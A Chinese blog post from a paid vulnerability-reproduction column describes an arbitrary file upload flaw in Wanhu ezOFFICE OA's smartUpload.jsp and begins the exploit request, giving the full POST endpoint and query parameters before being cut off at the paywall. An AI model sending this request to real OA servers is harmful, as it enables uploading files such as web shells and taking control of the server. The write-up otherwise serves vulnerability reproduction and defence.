万户OA smartUpload.jsp任意文件上传

最新推荐文章于 2024-09-28 12:29:36 发布

今天晚上早睡觉

最新推荐文章于 2024-09-28 12:29:36 发布

阅读量201

点赞数

分类专栏：漏洞复现文章标签： web安全

本文链接：https://blog.youkuaiyun.com/weixin_43567873/article/details/136468846

版权

漏洞复现专栏收录该内容

363 篇文章 ¥9.90 ¥99.00

订阅专栏

超级会员免费看

本文详细介绍了万户OA软件中smartUpload.jsp存在的任意文件上传漏洞，该漏洞允许攻击者上传任意文件，可能导致服务器控制权限被获取。复现过程包括构造上传数据包并利用文件后缀名一致性进行攻击，以及通过指定路径访问上传文件。

摘要生成于 C知道，由 DeepSeek-R1 满血版支持，前往体验 >

漏洞描述

万户OA（Office Automation）是一款企业级协同办公管理软件，旨在为企业提供全面的办公自动化解决方案。万户ezOFFICE smartUpload.jsp存在任意文件上传漏洞。攻击者可以通过此漏洞上传任意文件到目标服务器，导致攻击者可获取服务器控制权限。

漏洞复现

构造上传数据包，修改上传后缀名与文件后缀名一致。

POST /defaultroot/extension/smartUpload.jsp?path=information&mode=add&fileName=infoPicName&saveName=infoPicSaveName&tableName=infoPicTable&fileMaxSize=0&fileMaxNum=0&fileType=gif,jpg,bmp,html,png&fileMinWidth=0&fileMinHeight=0&fileMaxWidth=0&fileMaxHeight=0 HTTP/1.1
Host: 
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36
Cont

了解本专栏